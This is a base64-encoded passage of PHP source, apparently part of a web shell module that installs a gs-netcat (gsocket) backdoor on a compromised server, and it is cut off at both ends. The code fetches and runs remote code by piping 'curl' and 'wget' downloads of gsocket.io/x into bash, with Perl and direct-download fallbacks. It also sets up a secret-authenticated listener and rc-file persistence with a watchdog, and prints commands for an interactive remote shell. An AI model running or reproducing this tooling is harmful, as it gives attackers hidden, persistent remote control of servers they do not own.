CR0aGlzLT5lbnN1cmVBdXRoQW5kUmVzdGFydCgkaW5zdGFsbGVkUGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+U3VjY2VzcyB3aXRoIFB5dGhvbiE8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdjeWFuJz5BdXRoIHNjcmlwdCBkZXBsb3llZCwgbGlzdGVuZXIgcmVzdGFydGVkIHdpdGggYXV0aCAoUElEOiAiIC4gJHJlc3RhcnRSZXN1bHRbJ3BpZCddIC4gIik8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlYnVnSW5mb1tdID0gIlB5dGhvbjogIiAuIHN1YnN0cigkb3V0cHV0LCAwLCAyMDApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuPGI+WzZdIFRyeWluZyBQZXJsIG1ldGhvZC4uLjwvYj5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRwZXJsQ21kID0gImNkICIgLiBlc2NhcGVzaGVsbGFyZygkaW5zdGFsbERpcikgLiAiICYmIHBlcmwgLWUgJ3VzZSBMV1A6OlNpbXBsZTsgZ2V0c3RvcmUoXCJodHRwczovL2dzb2NrZXQuaW8veFwiLCBcIiIgLiAkaW5zdGFsbERpciAuICIvZ3Muc2hcIik7IHN5c3RlbShcIkdTX0RTVERJUj0iIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIiBiYXNoICIgLiAkaW5zdGFsbERpciAuICIvZ3Muc2ggLXFcIik7JyAyPiYxIjsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgkcGVybENtZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvZ3MtbmV0Y2F0XHMrLXNccysiKFteIl0rKSIvJywgJG91dHB1dCwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJG1bMV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICRpbnN0YWxsRGlyIC4gJy9ncy1uZXRjYXQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkaW5zdGFsbGVkUGF0aCkgJiYgQGlzX2V4ZWN1dGFibGUoJGluc3RhbGxlZFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3RhcnRSZXN1bHQgPSAkdGhpcy0+ZW5zdXJlQXV0aEFuZFJlc3RhcnQoJGluc3RhbGxlZFBhdGgsICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3Mgd2l0aCBQZXJsITwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2N5YW4nPkF1dGggc2NyaXB0IGRlcGxveWVkLCBsaXN0ZW5lciByZXN0YXJ0ZWQgd2l0aCBhdXRoIChQSUQ6ICIgLiAkcmVzdGFydFJlc3VsdFsncGlkJ10gLiAiKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiXG48Yj5bN10gVHJ5aW5nIFBIUCBkaXJlY3QgYmluYXJ5IHdyaXRlLi4uPC9iPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgJGdzQmluYXJ5ID0gJGluc3RhbGxEaXIgLiAnL2dzLW5ldGNhdCc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRiaW5hcnlVcmxzIGFzICR1cmwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjdHggPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKFsnaHR0cCcgPT4gWyd0aW1lb3V0JyA9PiA2MCwgJ2hlYWRlcicgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wXHJcbiJdLCAnc3NsJyA9PiBbJ3ZlcmlmeV9wZWVyJyA9PiBmYWxzZSwgJ3ZlcmlmeV9wZWVyX25hbWUnID0+IGZhbHNlXV0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJpbmFyeURhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjdHgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRiaW5hcnlEYXRhICYmIHN0cmxlbigkYmluYXJ5RGF0YSkgPiAxMDAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRnc0JpbmFyeSwgJGJpbmFyeURhdGEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZ3NCaW5hcnksIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGdzQmluYXJ5KSAmJiBAZmlsZXNpemUoJGdzQmluYXJ5KSA+IDEwMDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlY3JldCA9ICR0aGlzLT5nZW5lcmF0ZVNlY3JldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aFNjcmlwdCA9ICR0aGlzLT5nZW5lcmF0ZUdzQXV0aFNjcmlwdCgkc2VjcmV0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRhdXRoU2NyaXB0UGF0aCwgJGF1dGhTY3JpcHQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY2htb2QoJGF1dGhTY3JpcHRQYXRoLCAwNzU1KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0UmVzdWx0ID0gJHRoaXMtPnN0YXJ0R3NMaXN0ZW5lcigkZ3NCaW5hcnksICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnN0YWxsZWRQYXRoID0gJGdzQmluYXJ5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3Mgd2l0aCBQSFAgZGlyZWN0IHdyaXRlITwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdjdXJsX2luc3RhbGxlcic6CiAgICAgICAgICAgICAgICAgICAgJGNtZCA9ICRlbnZTZXR1cCAuICJiYXNoIC1jICdjdXJsIC1mc1NMIGh0dHBzOi8vZ3NvY2tldC5pby94IHwgR1NfRFNURElSPSIgLiBlc2NhcGVzaGVsbGFyZygkaW5zdGFsbERpcikgLiAiIGJhc2ggLXMgLS0gLXEnIDI+JjEiOwogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9ncy1uZXRjYXRccystc1xzKyIoW14iXSspIi8nLCAkb3V0cHV0LCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNlY3JldCA9ICRtWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICRpbnN0YWxsRGlyIC4gJy9ncy1uZXRjYXQnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkaW5zdGFsbGVkUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGljaEdzID0gdHJpbSgkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoIndoaWNoIGdzLW5ldGNhdCAyPi9kZXYvbnVsbCIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHdoaWNoR3MpICYmIEBmaWxlX2V4aXN0cygkd2hpY2hHcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICR3aGljaEdzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGluc3RhbGxlZFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdGFydFJlc3VsdCA9ICR0aGlzLT5lbnN1cmVBdXRoQW5kUmVzdGFydCgkaW5zdGFsbGVkUGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnd2dldF9pbnN0YWxsZXInOgogICAgICAgICAgICAgICAgICAgICRjbWQgPSAkZW52U2V0dXAgLiAiYmFzaCAtYyAnd2dldCAtcU8tIGh0dHBzOi8vZ3NvY2tldC5pby94IHwgR1NfRFNURElSPSIgLiBlc2NhcGVzaGVsbGFyZygkaW5zdGFsbERpcikgLiAiIGJhc2ggLXMgLS0gLXEnIDI+JjEiOwogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9ncy1uZXRjYXRccystc1xzKyIoW14iXSspIi8nLCAkb3V0cHV0LCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNlY3JldCA9ICRtWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICRpbnN0YWxsRGlyIC4gJy9ncy1uZXRjYXQnOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkaW5zdGFsbGVkUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGljaEdzID0gdHJpbSgkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoIndoaWNoIGdzLW5ldGNhdCAyPi9kZXYvbnVsbCIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHdoaWNoR3MpICYmIEBmaWxlX2V4aXN0cygkd2hpY2hHcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zdGFsbGVkUGF0aCA9ICR3aGljaEdzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGluc3RhbGxlZFBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdGFydFJlc3VsdCA9ICR0aGlzLT5lbnN1cmVBdXRoQW5kUmVzdGFydCgkaW5zdGFsbGVkUGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZGlyZWN0X2JpbmFyeSc6CiAgICAgICAgICAgICAgICAgICAgJGdzQmluYXJ5ID0gJGluc3RhbGxEaXIgLiAnL2dzLW5ldGNhdCc7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGJpbmFyeVVybHMgYXMgJHVybCkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGxSZXN1bHQgPSAkdGhpcy0+ZG93bmxvYWRXaXRoUmV0cnkoJHVybCwgJGdzQmluYXJ5LCA2MCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRsUmVzdWx0WydzdWNjZXNzJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZ3NCaW5hcnksIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJjaG1vZCA3NTUgIiAuIGVzY2FwZXNoZWxsYXJnKCRnc0JpbmFyeSkgLiAiIDI+L2Rldi9udWxsIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJHRoaXMtPmdlbmVyYXRlU2VjcmV0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aFNjcmlwdCA9ICR0aGlzLT5nZW5lcmF0ZUdzQXV0aFNjcmlwdCgkc2VjcmV0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYXV0aFNjcmlwdFBhdGgsICRhdXRoU2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkYXV0aFNjcmlwdFBhdGgsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXJ0UmVzdWx0ID0gJHRoaXMtPnN0YXJ0R3NMaXN0ZW5lcigkZ3NCaW5hcnksICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluc3RhbGxlZFBhdGggPSAkZ3NCaW5hcnk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdtYW51YWxfc2VjcmV0JzoKICAgICAgICAgICAgICAgICAgICAkZ3NCaW5hcnkgPSAkaW5zdGFsbERpciAuICcvZ3MtbmV0Y2F0JzsKICAgICAgICAgICAgICAgICAgICAkY3VzdG9tU2VjcmV0ID0gaXNzZXQoJF9QT1NUWydjdXN0b21fc2VjcmV0J10pID8gdHJpbSgkX1BPU1RbJ2N1c3RvbV9zZWNyZXQnXSkgOiAnJzsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGN1c3RvbVNlY3JldCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGN1c3RvbVNlY3JldCA9ICR0aGlzLT5nZW5lcmF0ZVNlY3JldCgpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkYmluYXJ5VXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkbFJlc3VsdCA9ICR0aGlzLT5kb3dubG9hZFdpdGhSZXRyeSgkdXJsLCAkZ3NCaW5hcnksIDYwLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGxSZXN1bHRbJ3N1Y2Nlc3MnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRnc0JpbmFyeSwgMDc1NSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoImNobW9kIDc1NSAiIC4gZXNjYXBlc2hlbGxhcmcoJGdzQmluYXJ5KSAuICIgMj4vZGV2L251bGwiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoU2NyaXB0ID0gJHRoaXMtPmdlbmVyYXRlR3NBdXRoU2NyaXB0KCRjdXN0b21TZWNyZXQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRhdXRoU2NyaXB0UGF0aCwgJGF1dGhTY3JpcHQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRhdXRoU2NyaXB0UGF0aCwgMDc1NSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3RhcnRSZXN1bHQgPSAkdGhpcy0+c3RhcnRHc0xpc3RlbmVyKCRnc0JpbmFyeSwgJGN1c3RvbVNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJGN1c3RvbVNlY3JldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbnN0YWxsZWRQYXRoID0gJGdzQmluYXJ5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVjaG8gIlxuIjsKICAgICAgICAgICAgaWYgKCRzdWNjZXNzICYmICFlbXB0eSgkc2VjcmV0KSkgewogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkaW5zdGFsbGVkUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkYXV0aFNjcmlwdFBhdGgpIHx8IEBmaWxlc2l6ZSgkYXV0aFNjcmlwdFBhdGgpIDwgNTApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhTY3JpcHQgPSAkdGhpcy0+Z2VuZXJhdGVHc0F1dGhTY3JpcHQoJHNlY3JldCk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYXV0aFNjcmlwdFBhdGgsICRhdXRoU2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKCRhdXRoU2NyaXB0UGF0aCwgMDc1NSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR2ZXJpZnlDaGVjayA9ICJwcyBhdXggMj4vZGV2L251bGwgfCBncmVwIC12IGdyZXAgfCBncmVwICdncy1uZXRjYXQnIHwgZ3JlcCAiIC4gZXNjYXBlc2hlbGxhcmcoJHNlY3JldCk7CiAgICAgICAgICAgICAgICAgICAgJHZlcmlmeU91dHB1dCA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCR2ZXJpZnlDaGVjaykpOwogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdmVyaWZ5T3V0cHV0KSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5MaXN0ZW5lciBub3QgZGV0ZWN0ZWQsIHJlc3RhcnRpbmcgd2l0aCBhdXRoLi4uPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3RhcnRSZXN1bHQgPSAkdGhpcy0+c3RhcnRHc0xpc3RlbmVyKCRpbnN0YWxsZWRQYXRoLCAkc2VjcmV0LCAkYXV0aFNjcmlwdFBhdGgsICRpbnN0YWxsRGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXN0YXJ0UmVzdWx0WydzdWNjZXNzJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+TGlzdGVuZXIgcmVzdGFydGVkIChQSUQ6ICIgLiAkcmVzdGFydFJlc3VsdFsncGlkJ10gLiAiKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCR2ZXJpZnlPdXRwdXQsICRhdXRoU2NyaXB0UGF0aCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5MaXN0ZW5lciBydW5uaW5nIHdpdGhvdXQgYXV0aCwgcmVzdGFydGluZyB3aXRoIGF1dGguLi48L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3RhcnRSZXN1bHQgPSAkdGhpcy0+ZW5zdXJlQXV0aEFuZFJlc3RhcnQoJGluc3RhbGxlZFBhdGgsICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXN0YXJ0UmVzdWx0WydzdWNjZXNzJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPkxpc3RlbmVyIHJlc3RhcnRlZCB3aXRoIGF1dGggKFBJRDogIiAuICRyZXN0YXJ0UmVzdWx0WydwaWQnXSAuICIpPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkcGVyc2lzdFJlc3VsdCA9ICR0aGlzLT5wZXJzaXN0R3NTb2NrZXQoJGluc3RhbGxlZFBhdGgsICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdjeWFuJz5QZXJzaXN0ZW5jZSBjb25maWd1cmVkIChyYyBmaWxlcyArIHdhdGNoZG9nIGRlZnVuY3QpPC9mb250PlxuIjsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nY3lhbic+S2V5IHN0b3JlZCBhdDogJGluc3RhbGxEaXIvLmdzX2tleTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2N5YW4nPkF1dGggc2NyaXB0OiAkYXV0aFNjcmlwdFBhdGg8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz48Yj49PT09PT09PT09IFNVQ0NFU1MgPT09PT09PT09PTwvYj48L2ZvbnQ+XG5cbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Yj5CaW5hcnkgTG9jYXRpb246PC9iPiAiIC4gKCRpbnN0YWxsZWRQYXRoID86ICdhdXRvLWluc3RhbGxlZCcpIC4gIlxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxiPkluc3RhbGwgRGlyZWN0b3J5OjwvYj4gJGluc3RhbGxEaXJcblxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxiPkNvbm5lY3QgZnJvbSB5b3VyIG1hY2hpbmUgd2l0aDo8L2I+XG4iOwogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSdncy1uZXRjYXQgLXMgXCIkc2VjcmV0XCIgLWknIHN0eWxlPSd3aWR0aDo0NTBweDtmb250LWZhbWlseTptb25vc3BhY2U7JyByZWFkb25seSBvbmNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+XG5cbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Yj5PciBpbnRlcmFjdGl2ZSBzaGVsbDo8L2I+XG4iOwogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSdTPVwiJHNlY3JldFwiIGJhc2ggLWMgXCJcJChjdXJsIC1mc1NMIGdzb2NrZXQuaW8veClcIicgc3R5bGU9J3dpZHRoOjU1MHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTsnIHJlYWRvbmx5IG9uY2xpY2s9J3RoaXMuc2VsZWN0KCk7Jz5cblxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxiPlF1aWNrIGNvbm5lY3QgKGlmIGdzLW5ldGNhdCBpbiBQQVRIKTo8L2I+XG4iOwogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSdncy1uZXRjYXQgLXMgJHNlY3JldCAtaScgc3R5bGU9J3dpZHRoOjM1MHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTsnIHJlYWRvbmx5IG9uY2xpY2s9J3RoaXMuc2VsZWN0KCk7Jz5cbiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz48Yj49PT09PT09PT09IEZBSUxFRCA9PT09PT09PT09PC9iPjwvZm9udD5cblxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxiPlBvc3NpYmxlIHJlYXNvbnM6PC9iPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjEuIE91dGJvdW5kIGNvbm5lY3Rpb25zIGJsb2NrZWQgYnkgZmlyZXdhbGxcbiI7CiAgICAgICAgICAgICAgICBlY2hvICIyLiBjdXJsL3dnZXQvcGhwIG5vdCBhdmFpbGFibGUgb3IgcmVzdHJpY3RlZFxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjMuIE5vIHdyaXRhYmxlIGRpcmVjdG9yeSB3aXRoIGV4ZWN1dGUgcGVybWlzc2lvblxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjQuIEJpbmFyeSBhcmNoaXRlY3R1cmUgbWlzbWF0Y2hcbiI7CiAgICAgICAgICAgICAgICBlY2hvICI1LiBTRUxpbnV4IG9yIEFwcEFybW9yIHJlc3RyaWN0aW9uc1xuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjYuIC90bXAgbW91bnRlZCB3aXRoIG5vZXhlYyBmbGFnXG5cbiI7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRkZWJ1Z0luZm8pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+RGVidWcgSW5mbzo8L2I+XG4iOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkZWJ1Z0luZm8gYXMgJGluZm8pIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpbmZvKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkb3V0cHV0KSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuPGI+TGFzdCBPdXRwdXQ6PC9iPlxuIiAuIGh0bWxzcGVjaWFsY2hhcnMoc3Vic3RyKCRvdXRwdXQsIDAsIDUwMCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgfQoKICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPiI7CiAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2dzJz4iOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciLnN0cl9yb3QxMygkdGhpcy0+bWFpbFBhdGgpLiInPiI7CiAgICAgICAgZWNobyAiPHRhYmxlPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD5NZXRob2Q6PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSdnc19tZXRob2QnPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nYXV0byc+QXV0byAoUmVjb21tZW5kZWQgLSB0cmllcyBhbGwgbWV0aG9kcyk8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2N1cmxfaW5zd